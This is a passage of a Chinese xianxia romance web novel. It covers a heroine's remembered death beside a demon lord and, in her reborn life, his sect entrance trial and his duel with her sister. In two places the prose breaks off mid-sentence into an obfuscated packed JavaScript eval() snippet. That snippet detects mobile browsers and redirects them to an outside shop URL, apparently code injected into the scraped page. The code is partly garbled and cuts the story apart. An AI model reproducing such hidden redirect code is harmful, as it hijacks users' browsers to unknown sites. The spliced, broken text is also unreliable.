黎清词无话,百里衍也没再多言,他直接将她打横抱起,只一眨眼的功夫,百里衍便抱着她不知来到何处。眼前出现一个巨大的深坑,深坑里滚动着岩浆一般的东西,深坑旁边有几条通道,只见魔族士兵押着什么人往那深坑里推去。 “那里。”百里衍指着某条通道,“那些是魔族中意图谋反之人,那里。”百里衍又指着另外一条道,“那里是仙门冒充魔族做探子的蠢货,你好好看看他们的下场。” 那些人被相继推入深坑,管你以前有多大的能耐,进了坑中,滚烫的岩浆裹上来,等待着的便是一寸寸皮肉烧烂的痛苦。 哪怕将死之人的黎清词看得也头皮发麻。 此刻百里衍将她放到身前,他一手扣着她的腰将她身体拉近,凑在她耳边问她:“你想去哪一边呢?” 语气中有让人脊背发凉的阴森,可微微的颤音却能让她感觉出他此刻的情绪翻涌。 黎清词闭了闭眼,也好,就这样死了也好。你便好好做你的魔尊。 也不知哪里来的力气,黎清词猛然挣开他的手便向那深坑跃去,然而身体还未跳入深坑便被一只大掌搂着肩头一把勾回来,她对上的是一双满是红晕的可怕双眸。他双唇抿得死紧,她能感受到他身上巨大的火气,是在气她对他说那些话,还是气她就这般不顾一切跳进深坑中? 怒火翻涌可什么都没说,就这般用那可怕的一双眼睛死死盯着他。浑身布满了想逼死人的威压,可久久不发一言却又透着无可奈何。 黎清词看到了他那只手,方才她欲跃下深坑时这只手及时伸出将她勾回来,却被深坑里翻涌的火气灼烧了一下。那深坑果然厉害啊,连魔尊的手也被灼出了一个大洞,又或者挖了太多心头血,他的身体已大不如前了。 黎清词看着那只手,一时很想痛骂一场,骂他或者骂自己,可她终究什么都没做。 百里衍将她送回房中便离开了,什么话都没留下。 好一段时间他没再来过,黎清词也拒绝再喝药,她身体自然越来越差,黎清词便每日躺在床上静静等死,等死了就好了,阿衍没有了拖后腿的,她也解脱了。 那一天深夜里,消失许久的百里衍突然出现,身体孱弱的黎清词,已开始频繁陷入昏迷,那日从昏迷中醒来,屋中黑漆漆的,可隐约间她感觉到有道黑影站在她床边。 他身上散发的危险恐怖气息让她一瞬间猜到了来人是百里衍。黎清词甚至能感觉到他身上的杀意。 阿衍,消失这么久没见终于想好了要来杀我了吗? 可她却坦然接受,杀了我也好,我死了你好好做你的魔尊,实现你统一三界的梦想,未来你会知道,在你漫长的生命里,我只是微不足道的一笔。 黎清词闭上眼,然而百里衍许久没有动手,直到她感觉腰间一沉,是百里衍楼了上去,他搂着她的腰,头枕着她肚子,压抑而沙哑的声音静静在夜色里扩散。 “黎清词,你便再继续骗我可好,你继续骗我,再继续骗我。” “再叫我一声阿衍,再骗我一次可好?” 19.第 19 章 黎清词死死咬着牙,生怕那一声阿衍脱口而出,她身上不该有任何值得他留恋的东西,寂静的深夜中她冰冷的声音说了一句话,听到这句话之后搂在她身上的力道渐渐松开,那道黑影也很快消失不见。 黎清词翻了个身,身体躬成一团,病痛的折磨和心理的折磨让她痛得难以忍受,她咬着牙,恨不得此刻立即死去。 黎清词最终还是死了,她死那天天气很好,天蓝水绿,周围满是绿树,风中有淡淡的花香味,不知从什么地方飘来一片片花瓣落在她身上和脸上。 黎清词看着眼前这一切,在这魔族荒凉之地,百里衍究竟怎么造出了这个地方的?她坐在轮椅上,浑身已使不上一点力气,不敢置信看着这一幕。 百里衍虽没再出现,可她身边一直有人照顾,今日身体精神了一些,可她清楚那是回光返照,所以她让丫头将她推出去,丫头便将她推到这个地方,她说这是魔尊为她准备的。 丫头不知何时离开的,身边的人换成了百里衍。 “你可喜欢这里?”他问她。 黎清词已经无法形容此刻看着如此美景出现在魔族的震撼,百里衍,我说我要回仙门,我喜欢仙门的山清水秀,你就该将我这样不自量力的人丢了,而不是造一个跟仙门一样的地方。 黎清词摇摇头,“不喜欢,经过你手的东西我都不喜欢。” 身旁的人沉默着,半晌才应了一声,“好。” 随后便见一阵噼啪作响,周围的树一株接一株倒下,眼前秀丽的美景便仿若遭遇了末日般瞬间变得狼藉满地。 他的声音响起,“果然是浪费了。” 黎清词忍着想哭的冲动,却笑了笑,看样子他法力恢复了很多,果然没有我的拖累,阿衍你变得越来越好。 笑着笑着,一股巨大的疲惫感袭来,黎清词渐渐闭上眼,可在彻底陷入黑暗之前,她却感觉自己被抱进一个怀抱中。 “黎清词,你要死了吗?” 那一双泛红的眼睛,有晶莹闪烁着,可语气却极冷极冷,黎清词想说什么,可实在发不出声音。 可冰冷冷说话的人,为什么有眼泪落下来,落泪的那一刻,他也仿若卸下了伪装似的,厉声冲她道:“黎清词,你不要死,不要死!” “你若死了,我便屠光仙门中人,你不是最善怜悯无辜吗?你要眼睁睁看着仙门因为你血流成河吗?” 我都死了,哪里还管得了身外之事呢?可是阿衍,在我活着的最后一刻,我只想怜悯你。 你终于不用耗尽心力救我了。 黎清词收回思绪,此刻药已经喂完,百里衍扶着她重新躺下,而他则走到旁边打坐。 她看着少年那清秀的侧脸。阿衍,我曾觉得我们相遇不是时候,而这一次,我风华正茂,你也还年少,一切都正好,我们会不一样的对吧? 百里衍除了每日为她送药,偶尔还要下山采买一些食物,黎家倒是一直没追上山,这正好给了黎清词喘息之机。 春节那日,黎清词身体已经好得差不多了,不过她依旧还呆在山上,今日山下定是热闹不凡,就连在清冷的云山都能隐约看到山下的烟火。 黎清词躺在床上看书,百里衍站在窗边,黎清词走上前,见他看着烟火出神,黎清词问他:“你喜欢烟花?” “很热闹。” 烟火炸开时,似也在他眼底炸开,黎清词看到他嘴角的笑容,暗想,原来阿衍你喜欢烟花。 春节一过,沐休差不多就结束了,百里衍在沐休结束前下了山,沐休完之后学子们陆续归来。 这一次沐休,云山脚下的涠洲发生了一件大事,那就是黎家的二女儿黎清词以下犯上,重伤姐姐,忤逆父母,已被黎家逐出家门。 黎清词已经做好了心理准备,所以对于周围关于她的议论都持一颗平常心。好在黎清词虽被逐出家门,可在洪都门里勤奋好学恪守门规,个人私事也并未影响她的学业。 这已经比前世好了许多。 只不过以后没了黎家,黎清词就得靠自己了,好在黎清词早有准备。前世她在洪都门时,因为经常试炼拿第一,得了许多天材地宝,后来她被逐出黎家之后这些天材地宝自然被黎家据为己有,这一次黎清词留了个心眼,这些好东西她并未放在黎家,而是寄存到了外面。将这些东西变卖能卖不少钱,再加上以后还会有许多试炼的机会,她还能得不少宝贝,已足够支撑她在洪都门继续修习。 开春,洪都门也要举行一年一度的招生仪式,届时便有一批新的学子进入洪都门。 不过要进洪都门需要通过重重考核,能来参加考核的都是十二州各门派的佼佼者,当然还有一些散修,每个派每年只招三名学子,就比如黎清词那一届,剑修堂新学子便只有她和秦朱玉还有梁靖安三人。 好在经过重重考核,百里衍都顺利通过。而这一次学子中最为瞩目的当属黎家大小姐黎怀婉,一路过关斩将,以排名第一的身份进来,收到诸多敬仰的目光,一如当年黎清词入学时。 看样子融了百里衍血的药丸确实厉害,药效还在持续。而有了黎清词灵力的黎怀婉也枯木逢春般,一下迸发无限生机,光芒万丈,前途无量。 可终有一天黎怀婉也会和她一样,尝到从天之骄女堕落成废物的滋味。黎怀婉若一直是废物,定不会觉得那滋味难受,可若是她享受过名誉,享受过周围人的追捧,再回到废人时,也不知她经不经受得住。 要进入洪都门通过山下的考核之后还得进行一次试炼,只有在规定的时间里完成试炼,才能成功进入洪都门。 新学子试炼那日,洪都门照例是给了一日沐休,众多学子去训练场观看。试炼地点并不在训练场,而是在另一个专门的试炼地。不过洪都门训练场里装了玄天镜,玄天镜可通过照影石看到那训练场中的场景。 黎清词和秦朱玉到训练场时,那里已经挤了不少人,好在两人合力,终于挤了个靠前的位置。 玄天镜中,却见学子们的试炼一关接着一关,周围有人议论。 “这次的学子都好生厉害啊,通关过得如此之快,哪像我们当年,第一关就花了快一个时辰。” “是啊,尤其是那刀修百里衍和剑修黎怀婉,这两人表现太过亮眼。” “那百里衍是不是就是上次试炼救的那位。” “就那位。” “没想到他这么厉害啊,那黎怀婉又是什么来头?” “涠洲黎家的大小姐。” “不愧出生剑修世家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065486|194478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然厉害,她是黎家大小姐,那她不是黎清词的姐姐吗?” “正是。” “说起这个,听说黎家不久前发生了一件大事。” 几人正要议论那大事,骤然发现黎清词就在不远处,立刻便闭了嘴。 不过黎清词无心听他们议论,她一心看着玄天镜中百里衍的身影。他确实表现亮眼,连着通过几关都靠他沉着冷静的分析和他锐不可挡的刀法。 至于黎怀婉,暂时拥有她的灵力,也确实厉害,这嗟来之食吃得可真是舒服。 此刻在训练场中,黎怀婉看着身旁的少年。百里衍,好像听黎清词提到过,那时她说这人长得俊朗,此刻得见,不得不说黎清词确实有眼光。 这次顺利进入试炼的,有许多都是各世家出生的修士,只有百里衍出生于一个末流刀修门派,听说这门派已经被魔族剿灭,早不在了。 其他那些人自小在世家门派里长大,占尽了天时地利,自大得很,从进来就聒噪,倒是百里衍,一直都沉着冷静,第一关杀吴圩兽时,也多亏他找到死穴,一刀毙命,不然还不知道要耗多久。 此刻在通往下一关之前,众人暂时修整。黎怀婉知道这训练场到处都是照影石,此刻洪都门训练场之外,有不少人通过玄天镜和看着他们的一举一动。 黎怀婉看到百里衍去了某处墙边观察墙壁,那边正好没有照影石,黎怀婉便走上去。 “百里公子。” 百里衍回头,眼前是个容貌俏丽的女子,百里衍倒是礼貌拱手,“姑娘找我何事?” 黎怀婉笑容有些僵,她在进入试炼之前便一直表现亮眼,几乎无人不知她名字,一路来还有不少人殷勤献媚,他却不知道她是谁。 “我听我妹妹提起过你。” “令妹……” “我妹妹是黎清词。” 也不知道是不是黎怀婉的错觉,她骤然感觉眼前少年周身萦绕着一股森寒的冷意,可他面色依旧没什么变化。 “原来你是清清的姐姐。” 百里衍握着刀的手有些紧,若不是想到清清说过她的仇她要自己报,恐怕他就忍不住拔刀了。 “清清?你这般叫她,看样子你们很熟?” 百里衍没应,黎怀婉又道:“我妹妹自小顽劣,父母又对她太过骄纵,她从小长大便喜欢闯祸,这不这次又创下大祸。你二人既然关系不错,还希望百里公子有空劝劝她,让她回去跟父母认个错。” 百里衍目光微眯,黎怀婉只觉得他周身萦绕的那股冷气更森寒了些,他笑了笑,问道:“你的灵力怎么来的?听清清说过,她的姐姐是个不能修炼的废人。” “废人”戳得黎怀婉有些不舒服,黎怀婉表情有些僵硬,眼底有一股火气一闪而逝,她随即笑道:“小词她自小爱撒谎,不管她说什么,都不能轻信,百里公子你往后便知道了。” 百里衍突然用一种很淡的目光将她上下打量了一眼,随后说了一句:“你不如她。” 黎怀婉甚至有一刻不敢相信自己听到了什么,他这话说得太过无礼。所以她不确定问道:“你说什么?我不太明白。” 百里衍便又说了一句:“你不如她,样样都不如,即便你用了她的灵力依旧不如她。” 20.第 20 章 这一次很真切听到了,这话仿若一根毒刺一样刺过来,黎怀婉连表面的客气都难以维持,一张脸渐渐难看下来。 百里衍却懒得理会她,直接离开。 两人身边并没有留影石,所以黎怀婉自然不知道两人有关她的议论。试炼还在继续,黎怀婉看着试炼场的一幕幕,竟比当初自己入学试炼时还要紧张。 好在很快通过最后一关,从通道出去便算完成试炼了。 黎清词正要松一口气,却见正走到门口的百里衍不知想到什么,竟向着某条岔路走去。有同行试炼的见状问道:“百里兄,你去哪儿?” 百里衍没应,众人摸不着头脑,倒是黎怀婉如主心骨似的说道:“不用管他了,我们先出去。” 周围看到这一幕的都不禁开始讨论,“试炼都完了,马上要出去了百里衍怎么还往布得鸟的方向走?” 其他人同样摸不着头脑,都啧啧称奇。 黎清词也觉得奇怪,布得鸟是试炼中布置的一只奇鸟,这只鸟很难打,需要众人合力才能攻下,而且它的内丹也不值钱,它主要是肉质鲜美,给试炼者提供补寄用的。可这一批学子试炼通关都很顺利,完全用不着再去打布得鸟,更何况还是一个人去。 又费力又不讨好,百里衍去打步得鸟干什么? 布得鸟巢在一座山洞中,那布得鸟身形巨大,爪子锋利,看到入侵者便疯了似地扑过来。好在百里衍早有准备,拔刀便袭过去。 单靠他一个人,打这鸟会很费劲,眼看着时间一点点过去,漏斗就快见底了,黎清词都有些着急,百里衍干嘛在这只鸟上浪费时间。 百里衍和布得鸟打得有来有回,在一次对抗中,百里衍差点被这臭鸟爪子刮到脸,百里衍顿时就火了,想着清清喜欢的就是这张脸,一时怒火中烧,体内力量爆棚,百里衍砍向布得鸟的刀也越来越狠,竟然不出几招就将那鸟砍死在刀下,随后薅了几把布得鸟的羽毛就走了。 围在训练场的众人就越发摸不着头脑了,布得鸟都打死了,它的肉才是好东西,不要肉,就薅几把羽毛,这百里衍在想什么?不过不得不说百里衍确实很厉害,仅凭一己之力便将布得鸟杀了。 “想我们当时试炼时,一堆人费了好大的劲才拿下它,不过它确实好吃。”旁边又有人议论。 “这百里衍一个人就打下来,真是好生厉害。” “确实厉害。” 好在百里衍出去时漏斗还未滴尽,而这次的试炼他也正式通过。 黎清词见状这才彻底松了一口气。 通往试炼地只需穿过结界便可,黎清词在结界外面等百里衍。百里衍出来时一眼就在人群中看到她。 “你可有受伤?”黎清词问他。 “没有。”少年意气风发,眉眼透着胜利归来的奕奕神采,“往后我们便是同门了。” 百里衍能顺利进洪都门黎清词为他高兴,不过她心中也有不安,毕竟百里衍是魔。若有一天他的身份暴露他会不会有危险。 不过魔分两种,一种是天生就有魔骨的魔,另外一种是因为魔念太强后天长出魔骨的魔。门主都已探查过他没有魔骨,黎清词猜测他有可能是后一种。 只要不是天生的魔就好办。往后便要注意着些,别让他有太强的魔念就行。 那么阿衍,你究竟遭遇了什么才有那么强的魔念成了魔的?无论如何,这一次我会尽我所能让你走上坦途,不要做那嗜血残忍的魔,你的未来之路会光明灿烂。 “你方才为何要去打布得鸟?” 百里衍从怀中掏出一把羽毛,“这个。” 布得鸟羽毛翠绿,油润发亮,黎清词却疑惑,“这个?” “它的羽毛可以做点翠。” “……” 一般来说点翠用的是翠鸟羽毛,翠鸟的毛有光泽感,色彩也艳丽,而且好寻。不过布得鸟的羽毛却又更油润一些,做出的点翠色泽会更好,但布得鸟又大又难打,有更方便的翠鸟可用,没人会去捉布得鸟。 黎清词却又想到一个问题:“你会做点翠?” “嗯。”对上黎清词诧异的目光,百里衍又解释道:“我在山下寻了个手艺师傅学的,我想做个点翠送给你。” 黎清词是真没想到,他还特意去学做点翠。 “妹妹。” 骤然响起的声音打破了渐渐上升的暧昧氛围。黎清词侧头看去,就见来人是黎怀婉。 那张病弱苍白的脸因为灵力的滋养变得润泽漂亮,浑身透着一股出生世家的贵胄之气,神采奕奕的模样谁能看出不久前她还是死气沉沉只能靠轮椅行走的人。 前世得了她灵力的黎怀婉也是这般风风光光的活着吧?接替她成为天之骄女,嫁与门当户对的郎君,成为不少人仰望艳羡的存在,这嗟来之食吃得别提有多轻松了。 黎清词笑了笑,“你如今已如了洪都门,我比你先入门,按照门规,你该叫我一声师姐。” 黎怀婉面色有片刻僵硬,可随即就说道:“你该回去跟父母认个错。你伤我,你我姐妹我便不与你计较了,可父母是长辈,你忤逆父母是大不敬。” 回去?回去了她还能活着出来吗? 此刻几人还在训练场,周围还有许多未散场的人,听到这话不少人目光意味深长往这里看。 “我忤逆父母?”黎清词笑了,“难道真要我说出你们究竟干了什么?” “小词!”黎清词厉声打断她,“黎家养你一场,不求你有感恩之心,但最起码得心存敬意,什么话该说什么话不该说,你该掂量清楚。” 黎家送黎怀婉来洪都门,显然就不怕黎清词说出真相,她已被黎家逐出家门,身后无权无势无依无靠,谁会信她的话呢?所以黎清词也很清楚,即便向门主说明黎家动用禁术养器皿,黎家家大业大,从内到外都不认,可能还要扣她一个反咬之名,最终只会得力不讨好。黎清词自然也懒得费这个劲,总归她是能看到黎怀婉从天子骄子坠落的,耐心等着就行。 黎怀婉见状便以为她还算识时务,正要离去,只听得有人叫她,“黎大小姐。” 黎怀婉回头,却见百里衍上前一步,说道:“听闻黎大小姐是以剑修一派排名第一的身份进来的,正好在下是以刀修一派排名第一的身份进来,你我二人都是第一,不知黎大小姐可有兴趣同我切磋一下?” 百里衍拱手行礼,礼节周到,不见半点挑衅,可黎怀婉想到在试炼地中百里衍的无礼,他直言她样样不如黎清词。 所以黎怀婉很清楚百里衍要找她切磋,绝不是那种点到为止的切磋。 而且她看到百里衍的刀法,她不一定能打过他。 百里衍似乎意料到她会拒绝,他又说道:“黎大小姐出生优渥,胆量和气量都在旁人之上,想来不会拒绝的吧?” 面色依旧温和,可黎怀婉又不傻,百里衍这是将她后路都封了,若她拒绝,不仅丢自己的脸,也丢黎家的脸。 周围有这么多人看着,黎怀婉不应战便下不来台,她便也一拱手,“承让。” 两人同时拔出武器,黎怀婉是一把细剑,剑身纤细却锋利,一看便是用上好的材料打造。百里衍则是一把环首刀,刀身短而锋利,有些粗糙的刀可以看出材料远远不如黎怀婉的剑,可刀锋出鞘时也是寒光凛凛杀气逼人。 黎清词有些担忧,百里衍上去之前冲她笑笑,“无妨的,只是切磋而已。” 她倒不是担心百里衍打不过,而是担心百里衍若伤到黎怀婉,会给他带来不必要的麻烦,毕竟她很清楚,百里衍提出要跟黎怀婉切磋是因为她。 两人也没废话,直接便出手,刀剑相交,一时火光闪闪。周围已围了不少人看热闹,不得不说两人打得有来有回的还挺精彩,不过很快黎怀婉就开始招架不住了。 刀身比剑身重,再加上百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“有什么好看?”她说。 那时刚得知他用心头血为她治疗,她还未开始对他说那番狠话,一开始是想冷待他,从而让他放弃。 他似乎并未看出她在冷待,还以为她不喜欢,他说:“下次换个招式舞给你看。” 就是这样,她的冷待并没有用,她才决定用狠话。 望着方才打斗的那一幕,少年百里衍还没有像未来那般将那把刀用得出神入化的地步,可少年身姿挺拔,透着劲松似的朝气蓬勃,那手腕翻转,撞击,收刀入鞘,行云流水的动作,劲腰站直的那一刻,黎清词感觉到了她心脏激烈的跳动。 就好像那日看到大魔头在黄沙着舞刀,也是这般,随着他的一招一式心潮澎湃。 拱手转身之后他向她缓缓走来,那白里透蓝的弟子服,清新的像流水一般,白净的面容,精致的五官,那劲瘦的身姿,意气风发又朝气蓬勃。 这一刻,黎清词感觉自己像一颗枯老的树看到那从她身边流淌而过的清泉,她察觉到体内有什么东西在蠢蠢欲动。 待百里衍站在跟前时,她急忙调整呼吸,却看到他眉眼间的笑和期待,像做对了某件事在求夸奖。 就好像那一次,舞完刀的大魔头,只是那时的他眼神更含蓄。也像在期待她说些什么。 可她说了什么呢,有什么好看? 这一次她并没有将脸转开,她迎着他的目光,笑容浅浅,柔声对他说:“阿衍,你好厉害。” 眉眼间的笑意更甚,身上那意气风发的劲头,让方圆五里之内,她再看不到其他,眼前只有少年的脸。 可他随即便微微低头,有一抹羞涩慢慢爬上脸颊,他道:“还好。” 随后又看向她,“你心情好点了吗?” 果然是在为她出气。 黎清词笑了笑,“嗯,有阿衍在,我心情总会很好的。” 又一次避开她的目光,意气风发的少年依旧无法控制自己的羞涩,他低头道:“那我往后便日日在你身边可好?” 透着试探和期待的话,那慌乱躲避的眼神,那发红的耳朵,黎清词感觉到心底蠢蠢欲动得更厉害。 真的好乖啊! 她真恨不得一下扑在他身上。 黎清词调整了一下呼吸,尽量让语气平静,“好。”